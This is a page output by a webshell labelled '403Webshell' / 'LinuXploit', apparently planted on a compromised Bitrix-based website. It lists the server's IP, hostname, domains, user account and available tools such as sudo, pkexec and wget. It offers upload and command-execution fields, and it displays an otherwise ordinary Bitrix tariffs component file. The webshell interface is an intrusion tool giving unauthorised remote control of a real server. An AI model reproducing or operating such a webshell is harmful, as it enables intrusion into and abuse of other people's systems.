403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/landing.blocks.tariffs/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/landing.blocks.tariffs/class.php
<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

use Bitrix\Landing\Manager;
use Bitrix\Main\Application;
use Bitrix\Main\Config\Option;
use Bitrix\Main\Loader;

class LandingBlocksTariffsComponent extends CBitrixComponent
{
	/**
	 * Base executable method.
	 * @return void
	 */
	public function executeComponent(): void
	{
		if (!Loader::includeModule('landing'))
		{
			return;
		}

		$zone = $this->getZone();
		// if ($zone === 'by')
		// {
		// 	$currencyCode = 'BYR';
		// }
		// if ($zone === 'kz')
		// {
		// 	$currencyCode = 'KZT';
		// }
		// if ($zone === 'ua')
		// {
		// 	$currencyCode = 'UAH';
		// }
		// if (!isset($currencyCode))
		// {
		// 	$currencyCode = 'RUR';
		// }

		if (Manager::isB24())
		{
			$partnerId = (int)Option::get('bitrix24', 'partner_id', 0);
		}
		else
		{
			$partnerId = Application::getInstance()->getLicense()->getPartnerId();
		}

		$this->arParams['OPTION'] = [
			'productTypeCode' => 'CLOUD',
			'locationAreaId' => $zone,
			'languageId' => LANGUAGE_ID,
			// 'currencyCode' => $currencyCode,
			'catalogForNewCustomer' => false,
			'partnerId' => $partnerId,
			'replace' => [
				'order' => [
					'url' => [
						'BASIC' => '#someId',
						'STD' => '#someId2',
						'PRO' => '/somefolder/someurl.php',
					],
				],
			],
		];

		$this->IncludeComponentTemplate();
	}

	/**
	 * Get site zone excluding 'user_lang'
	 * @return string
	 */
	protected function getZone(): string
	{
		if (Loader::includeModule('bitrix24'))
		{
			$zone = CBitrix24::getPortalZone();
		}
		if (!isset($zone) || !$zone)
		{
			$zone = Application::getInstance()->getContext()->getLanguage();
		}

		return $zone;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit